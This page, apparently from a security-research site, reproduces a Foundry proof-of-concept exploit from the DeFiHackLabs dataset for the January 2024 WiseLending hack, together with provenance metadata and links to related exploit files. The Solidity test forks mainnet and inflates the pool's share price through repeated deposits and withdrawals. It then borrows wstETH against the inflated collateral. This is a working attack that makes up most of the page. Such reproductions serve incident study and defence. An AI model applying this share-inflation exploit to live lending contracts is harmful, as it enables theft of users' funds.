Public reproduction file

src/test/2024-01/WiseLending02_exp.sol

Public reproduction file for dataset entry WiseLending.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-01/WiseLending02_exp.sol175 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.20;
3 
4import {Test, console} from "forge-std/Test.sol";
5import {IERC20} from "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~464K USD$
8// Attacker : https://etherscan.io/address/0xb90cf1d740b206b6d80854bc525e609dc42b45dc
9// Attack Contract : https://etherscan.io/address/0x91c49cc7fbfe8f70aceeb075952cd64817f9d82c
10// Vulnerable Contract : https://etherscan.io/address/0x37e49bf3749513a02fa535f0cbc383796e8107e4
11// Attack Tx :https://etherscan.io/tx/0x04e16a79ff928db2fa88619cdd045cdfc7979a61d836c9c9e585b3d6f6d8bc31
12 
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x37e49bf3749513a02fa535f0cbc383796e8107e4
15 
16// @Analysis
17// Twitter alert by Exvul : https://twitter.com/EXVULSEC/status/1746138811862577515
18// Twitter alert by Peckshield: https://twitter.com/peckshield/status/1745907642118123774
19 
20contract WiseLendingTest is Test {
21    IWiseLending public wiseLending = IWiseLending(payable(0x37e49bf3749513A02FA535F0CbC383796E8107E4));
22 
23    NFTManager public nft = NFTManager(0x32E0A7F7C4b1A19594d25bD9b63EBA912b1a5f61);
24 
25    uint256 blockNumber = 18_983_652;
26 
27    // PLP-stETH-Dec2025
28    address poolToken = 0xB40b073d7E47986D3A45Ca7Fd30772C25A2AD57f;
29 
30    address pendleLPT = 0xC374f7eC85F8C7DE3207a10bB1978bA104bdA3B2;
31 
32    address other;
33 
34    address wsteth = 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0;
35 
36    address wstethOracle = 0x9aB8A49677a20fc0cC694479DF4462a82B4Cc1C4;
37 
38    address wiseSecurity = 0x829c3AE2e82760eCEaD0F384918a650F8a31Ba18;
39 
40    uint256 constant MAX = type(uint256).max;
41 
42    function setUp() public {
43        vm.createSelectFork("mainnet", blockNumber);
44 
45        vm.label(address(wiseLending), "wiseLending");
46        vm.label(address(poolToken), "poolToken");
47        vm.label(address(pendleLPT), "pendleLPT");
48        vm.label(address(other), "other");
49        vm.label(wsteth, "wsteth");
50        vm.label(wstethOracle, "wstethOracle");
51        vm.label(wiseSecurity, "wiseSecurity");
52        other = vm.addr(123_123);
53    }
54 
55    function test_poc() public {
56        deal(pendleLPT, address(this), 1 ether);
57 
58        IERC20(pendleLPT).approve(poolToken, MAX);
59 
60        Pool(poolToken).depositExactAmount(1 ether);
61 
62        IERC20(poolToken).approve(address(wiseLending), MAX);
63 
64        uint256 nftId = nft.mintPosition();
65 
66        wiseLending.depositExactAmount(nftId, poolToken, 1e9);
67 
68        IERC20(poolToken).transfer(address(wiseLending), 1e9);
69 
70        (uint256 pseudoTotalPool, uint256 totalDepositShares,) = wiseLending.lendingPoolData(poolToken);
71 
72        skip(5 seconds);
73 
74        uint256 share = wiseLending.getPositionLendingShares(nftId, poolToken);
75 
76        // withdraw all shares
77        wiseLending.withdrawExactShares(nftId, poolToken, share);
78 
79        uint256 i = 0;
80        do {
81            (pseudoTotalPool, totalDepositShares,) = wiseLending.lendingPoolData(poolToken);
82            share = wiseLending.depositExactAmount(nftId, poolToken, pseudoTotalPool * 2 - 1);
83 
84            wiseLending.withdrawExactAmount(nftId, poolToken, share);
85            ++i;
86        } while (i < 20);
87 
88        (pseudoTotalPool, totalDepositShares,) = wiseLending.lendingPoolData(poolToken);
89        share = wiseLending.depositExactAmount(nftId, poolToken, pseudoTotalPool * 2 - 1);
90        (pseudoTotalPool, totalDepositShares,) = wiseLending.lendingPoolData(poolToken);
91 
92        IERC20(poolToken).transfer(other, IERC20(poolToken).balanceOf(address(this)));
93        vm.startPrank(other);
94        nftId = nft.mintPosition();
95        IERC20(poolToken).approve(address(wiseLending), MAX);
96 
97        wiseLending.depositExactAmount(nftId, poolToken, IERC20(poolToken).balanceOf(other));
98 
99        uint256 amount = IWiseSecurity(wiseSecurity).maximumBorrowToken(nftId, poolToken, 0);
100 
101        wiseLending.borrowExactAmount(nftId, wsteth, amount);
102    }
103 
104    function _simulateOracleCall() internal {
105        (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound) =
106            Oracle(wstethOracle).latestRoundData();
107        vm.mockCall(
108            wstethOracle,
109            abi.encodeCall(Oracle.latestRoundData, ()),
110            abi.encode(roundId, answer, block.timestamp, block.timestamp, answeredInRound)
111        );
112 
113        uint80 _roundId;
114        (_roundId, answer, startedAt, updatedAt, answeredInRound) = Oracle(wstethOracle).getRoundData(roundId);
115 
116        vm.mockCall(
117            wstethOracle,
118            abi.encodeCall(Oracle.getRoundData, (roundId)),
119            abi.encode(_roundId, answer, block.timestamp, block.timestamp, answeredInRound)
120        );
121    }
122}
123 
124interface Pool {
125    function depositExactAmount(
126        uint256 _underlyingLpAssetAmount
127    ) external returns (uint256, uint256);
128    function getPositionLendingShares(uint256, address) external returns (uint256);
129}
130 
131interface NFTManager {
132    function mintPosition() external returns (uint256);
133}
134 
135interface Oracle {
136    function latestRoundData()
137        external
138        view
139        returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound);
140 
141    function getRoundData(
142        uint80 _roundId
143    )
144        external
145        view
146        returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound);
147}
148 
149interface IWiseLending {
150    function depositExactAmount(uint256 _nftId, address _poolToken, uint256 _amount) external returns (uint256);
151 
152    function withdrawExactShares(uint256 _nftId, address _poolToken, uint256 _shares) external returns (uint256);
153 
154    function withdrawExactAmount(
155        uint256 _nftId,
156        address _poolToken,
157        uint256 _withdrawAmount
158    ) external returns (uint256);
159 
160    function getPositionLendingShares(uint256 _nftId, address _poolToken) external view returns (uint256);
161 
162    function borrowExactAmount(uint256 _nftId, address _poolToken, uint256 _amount) external returns (uint256);
163 
164    function lendingPoolData(
165        address _poolToken
166    ) external view returns (uint256 pseudoTotalPool, uint256 totalDepositShares, uint256 collateralFactor);
167}
168 
169interface IWiseSecurity {
170    function maximumBorrowToken(
171        uint256 _nftId,
172        address _poolToken,
173        uint256 _interval
174    ) external view returns (uint256 tokenAmount);
175}

Analysis

Dataset entry

Public Foundry test for “WiseLending” (2024-01-12). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

18 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/interface.solImported by this file · 6133 lines
src/test/2024-01/BarleyFinance_exp.solSame month in the dataset · 106 lines
src/test/2024-01/Bmizapper_exp.solSame month in the dataset · 81 lines
src/test/2024-01/CitadelFinance_exp.solSame month in the dataset · 172 lines
src/test/2024-01/DAO_SoulMate_exp.solSame month in the dataset · 77 lines
src/test/2024-01/Freedom_exp.solSame month in the dataset · 88 lines
src/test/2024-01/Gamma_exp.solSame month in the dataset · 158 lines
src/test/2024-01/LQDX_alert_exp.solSame month in the dataset · 108 lines
src/test/2024-01/MIC_exp.solSame month in the dataset · 212 lines
src/test/2024-01/MIMSpell2_exp.solSame month in the dataset · 241 lines
src/test/2024-01/NBLGAME_exp.solSame month in the dataset · 160 lines
src/test/2024-01/OrbitChain_exp.solSame month in the dataset · 114 lines
src/test/2024-01/PeapodsFinance_exp.solSame month in the dataset · 91 lines
src/test/2024-01/RadiantCapital_exp.solSame month in the dataset · 156 lines
src/test/2024-01/Shell_MEV_0xa898_exp.solSame month in the dataset · 69 lines
src/test/2024-01/SocketGateway_exp.solSame month in the dataset · 78 lines
src/test/2024-01/XSIJ_exp.solSame month in the dataset · 72 lines
src/test/2023-10/WiseLending_exp.solSame protocol or name in the dataset · 185 lines

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0xb90cf1d740b206b6d80854bc525e609dc42b45dc
Attack Contract
0x91c49cc7fbfe8f70aceeb075952cd64817f9d82c
Vulnerable Contract
0x37e49bf3749513a02fa535f0cbc383796e8107e4

Attack Tx
0x04e16a79ff928db2fa88619cdd045cdfc7979a61d836c9c9e585b3d6f6d8bc31

File record

Name: WiseLending
Path: src/test/2024-01/WiseLending02_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: fb38c2ebb734b357d9d856b433e03353289c5b51
Language: Solidity
Size: 176 lines
Date: 2024-01-12
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2024-01/WiseLending02_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob fb38c2ebb734b357d9d856b433e03353289c5b51, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.